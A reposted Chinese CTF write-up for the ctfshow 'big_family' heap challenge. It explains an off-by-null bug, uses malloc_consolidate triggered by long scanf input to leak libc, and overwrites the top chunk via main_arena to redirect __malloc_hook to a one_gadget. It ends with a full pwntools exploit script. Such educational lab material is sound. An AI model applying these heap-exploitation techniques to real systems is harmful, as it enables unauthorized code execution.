CTFShow family(PWN) writeup
2021-04-21 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:125 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:F0und

0x00 前置知识

1. malloc_consolidate
https://blog.csdn.net/Plus_RE/article/details/79265805
使用scanf 获取内容时,如果输入字符串比较长会调用malloc来分配内存。
在malloc分配内存时,首先会一次扫描一遍fastbin 、 smallbin、unsorted bin、largebin, 如果都找不到可以分配的chunk分配给用户,会进入top_chunk分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把fastbin合并之后放入smallbin,再看能否分配,不能的话会使用top_chunk 进行分配。
2. main_arena attack
当我们申请不到free_hook,malloc_hook上方的位置时,我们可以将堆块申请到main_arena,然后覆盖top chunk为hook函数上方的位置,完成利用。

0x10 漏洞分析

本次使用的例题是ctfshow大吉大利杯的一道堆题,big_family。
 
正常检查保护后发现保护全开,在 read_n 函数里面发现一个Off by null。
void __cdecl read_n(char *buf, size_t len){  char ch_0; // [rsp+13h] [rbp-Dh]  int i; // [rsp+14h] [rbp-Ch]  unsigned __int64 v4; // [rsp+18h] [rbp-8h]   v4 = __readfsqword(0x28u);  for ( i = 0; i < len; ++i )  {    ch_0 = 0;    if ( read(0, &ch_0, 1uLL) < 0 )    {      puts("Read error!!\n");      exit(1);    }    buf[i] = ch_0;    if ( ch_0 == 10 )      break;  }  buf[i] = 0; // 固定向后面添加一个'\x00' 字符}

我们看Add函数:

void __cdecl buildhouse(){  int size; // [rsp+8h] [rbp-18h]  int i; // [rsp+Ch] [rbp-14h]  char *buf; // [rsp+10h] [rbp-10h]  unsigned __int64 v3; // [rsp+18h] [rbp-8h]   v3 = __readfsqword(0x28u);  buf = 0LL;  for ( i = 0; ; ++i )  {    if ( i > 15 )    {      puts("You can't build a house anymore!");      return;    }    if ( !house[i] )      break;  }  puts("How big a house do you want to build?");  if ( (unsigned int)_isoc99_scanf("%u", &size) == -1 )    exit(-1);  if ( size <= 0 || size > 0x47 ) // fastbin  {    puts("Your house is not the right size");    exit(-1);  }  buf = (char *)malloc(size);  if ( !buf )  {    puts("Something wrong in building !!");    exit(-1);  }  house[i] = buf;  puts("How do you want to decorate your house?");  read_n(house[i], size);  puts("Done,your house is completed!");}
在 Add 函数中我们发现我们可以申请的size 最大只有 0x47大小,也就是最大0x50大小的堆块。
Show 函数以及 Delete函数没太大问题。

0x20 漏洞利用

由于我们可以申请的堆块大小被限制到了只能被free到fastbin里,而我们又要泄漏libc基地址,因此我们只能通过scanf会调用malloc分配内存的办法来使堆块合并。
Add(0x18,'start')#0Add(0x18,'f')#1Add(0x38,'f')#2Add(0x28,'f')#3Add(0x38,'f')#4Add(0x38,'a'*0x20+p64(0x100)+p64(0x10))#5Add(0x10,'f')#6

首先我们可以申请出6个堆块,我们要通过第一个堆块来利用Off by null 修改合并后的smallbin的size,以及第6个堆块来防止前面堆块与top_chunk发生合并,而由于是Off by null 我们要让chunk1-5 的size相加等于 0x110,然后覆盖为 0x100来构造堆块重叠。
 
现在的堆结构是这样的:

for i in range(1,6):    Delete(i)sh.sendlineafter('Choice:',"1"*0x400)Delete(0)Add(0x18,'a'*0x18)#0
构造samllbin并且修改smallbin的size为0x100。

Add(0x18,'a')#1Add(0x28,'f')#2Add(0x38,'b')#3Add(0x38,'c')#4Add(0x38,'d')#5
将smallbin分割成5个大小相加为0x100大小的块,此时堆块情况。

然后通过向scanf输入0x400个1来触发malloc_consolidate,使其刚好留出0x10大小的空间便于我们利用。
Delete(1)Delete(2)

之后我们删除1、2号块,用于我们接下来利用off by null对二号块的size位进行覆盖的操作。
sh.sendlineafter('Choice:',"1"*0x400)Delete(6)sh.sendlineafter('Choice:',"1"*0x400)
删除1、2号块后,我们需要利用malloc_consolidate,把删除的1、2、号块,合并进入smallbin,之后删除6号块,在触发一次malloc_consoildate,使其向前合并。
向前合并之后,我们可以发现我们得到了一个包含没有被free过的一个0x130的空闲堆块,也就是说我们可以通过这个堆块来制造堆块重叠了。
Add(0x38,'a')#1Add(0x18,'b')#2Add(0x28,'c')#6
 

我们将1、2、6号堆块申请回来,同时设置好size,就可以覆盖3号堆块,或者其他堆块的内容为main_arena+88,然后通过show函数就可以泄漏libc了。

main_arena = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))- 88libc_base = main_arena - 0x3c4b20free_hook = libc_base + libc.symbols['__free_hook']malloc_hook = libc_base + libc.symbols['__malloc_hook']realloc = libc_base + libc.symbols['__libc_realloc']one_gadget = libc_base + 0x4526a
泄漏出libc之后,我们发现,我们申请申请不到free_hook上面的位置,我们只能使用main_arean attack来进行利用。
Add(0x28,'a')#7-->3Add(0x38,'b')#8-->4Add(0x38,'c')#9Add(0x28,'d')#10Add(0x47,p64(0x41))#11Add(0x47,p64(0x41))#12Delete(11)Delete(12)Add(0x47,p64(0x41))Delete(3)Delete(10)Delete(7) Add(0x28,p64(0x41)*2)Add(0x28,'f0und')Add(0x28,p64(0x41)*2)

申请出两个重叠堆块,并利用main_arena的机制使,main_arena中出现一个size。

然后我们将堆块申请到main_arena上,由于size大小不够,我们一次申请覆盖不到top_chunk的位置,因此我们可以分两次,先在后面的位置在写上一个size,然后就可以申请到了。
Add(0x38,p64(main_arena+8))Add(0x38,p64(main_arena+8))Add(0x38,p64(main_arena+8))Add(0x38,p64(main_arena+48)+p64(0)*3+p64(0x41))

覆盖top_chunk,getshell:
Add(0x38,p64(0)*3+p64(malloc_hook-0x18))#getshell localAdd(0x38,p64(one_gadget_local)+p64(realloc+13))sh.recvuntil("Choice:")sh.sendline('1')sh.recvuntil("How big a house do you want to build?\n")sh.sendline('2')

由于onegadget的条件限制,我们可以利用realloc来调节栈帧,其原理是,realloc前面有很多push指令,一共有6条,刚好可以满足onegadget (rbp+0x30==null) 的条件,因此我们将malloc_hook设置为realloc+13的地方,将realloc_hook设置为onegadget就可以getshell。

getshell:

0x30 Final Exp

#/usr/bin/env python#-*-coding:utf-8-*- from pwn import *from LibcSearcher import * proc="./family" elf=ELF(proc) libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") context.log_level="debug" def Add(des_size,des):    sh.recvuntil("Choice:")    sh.sendline(str(1))    sh.recvuntil("How big a house do you want to build?\n")    sh.sendline(str(des_size))    sh.recvuntil("How do you want to decorate your house?\n")    sh.sendline(des)  def Delete(index):    sh.recvuntil("Choice:")    sh.sendline(str(2))    sh.recvuntil("Which house do you want to remove?\n")    sh.sendline(str(index)) def Show(index):    sh.recvuntil("Choice:")    sh.sendline(str(3))    sh.recvuntil("Which house do you want to view?\n")    sh.sendline(str(index))  def pwn(ip,port,debug):    global sh    if debug==1:        context.log_level="debug"        sh=process(proc)    else:        sh=remote(ip,port)      Add(0x18,'start')#0    Add(0x18,'f')#1    Add(0x38,'f')#2    Add(0x28,'f')#3    Add(0x38,'f')#4    Add(0x38,p64(8)*4+p64(0x100)+p64(0x10))#5    Add(0x10,'f')#6    for i in range(1,6):        Delete(i)    sh.sendlineafter('Choice:',"1"*0x400)    Delete(0)    Add(0x18,'a'*0x18)#0    Add(0x18,'a')#1    Add(0x38,'f')#2    Add(0x28,'b')#3    Add(0x38,'c')#4    Add(0x38,'d')#5    Delete(1)    Delete(2)    sh.sendlineafter('Choice:',"1"*0x400)    Delete(6)    sh.sendlineafter('Choice:',"1"*0x400)    Add(0x38,'a')#1    Add(0x18,'b')#2    Add(0x28,'c')#6    Show(3)    main_arena = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))- 88    libc_base = main_arena - 0x3c4b20    free_hook = libc_base + libc.symbols['__free_hook']    malloc_hook = libc_base + libc.symbols['__malloc_hook']    realloc = libc_base + libc.symbols['__libc_realloc']    one_gadget = libc_base + 0x4526a    one_gadget_local = libc_base + 0x4527a    log.info("libc_base: "+hex(libc_base))    log.info("main_arena: "+hex(main_arena))    log.info("free_hook: "+hex(free_hook))    log.info("malloc_hook: "+hex(malloc_hook))    Add(0x28,'a')#7-->3    Add(0x38,'b')#8-->4    Add(0x38,'c')#9    Add(0x28,'d')#10    Add(0x47,p64(0x41))#11    Add(0x47,p64(0x41))#12    Delete(11)    Delete(12)    Add(0x47,p64(0x41))    Delete(3)    Delete(10)    Delete(7)     Add(0x28,p64(0x41)*2)    Add(0x28,'f0und')    Add(0x28,p64(0x41)*2)     Delete(8)    Delete(9)    Delete(4)     Add(0x38,p64(main_arena+8))    Add(0x38,p64(main_arena+8))    Add(0x38,p64(main_arena+8))    Add(0x38,p64(main_arena+48)+p64(0)*3+p64(0x41))    Add(0x38,p64(0)*3+p64(malloc_hook-0x18))    #Add(0x38,p64(one_gadget)*2+p64(realloc+13))    #getshell local    Add(0x38,p64(one_gadget_local)+p64(realloc+13))    sh.recvuntil("Choice:")    sh.sendline('1')    sh.recvuntil("How big a house do you want to build?\n")    sh.sendline('2')     sh.interactive() if __name__ =="__main__":    pwn("111.231.70.44",28006,1)
本文附件可点击左下方阅读原文自行下载!

- End -

看雪ID:F0und

https://bbs.pediy.com/user-home-923114.htm

  *本文由看雪论坛 F0und 原创,转载请注明来自看雪社区。

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458383854&idx=1&sn=c71b70b5ab1f548681157359e2e8c04c&chksm=b180c56486f74c7249b2bfcb1fbf6dd4fe5a25f13b8bd5272f84c46ff584f93fd46b6e14f065#rd
如有侵权请联系:admin#unsafe.sh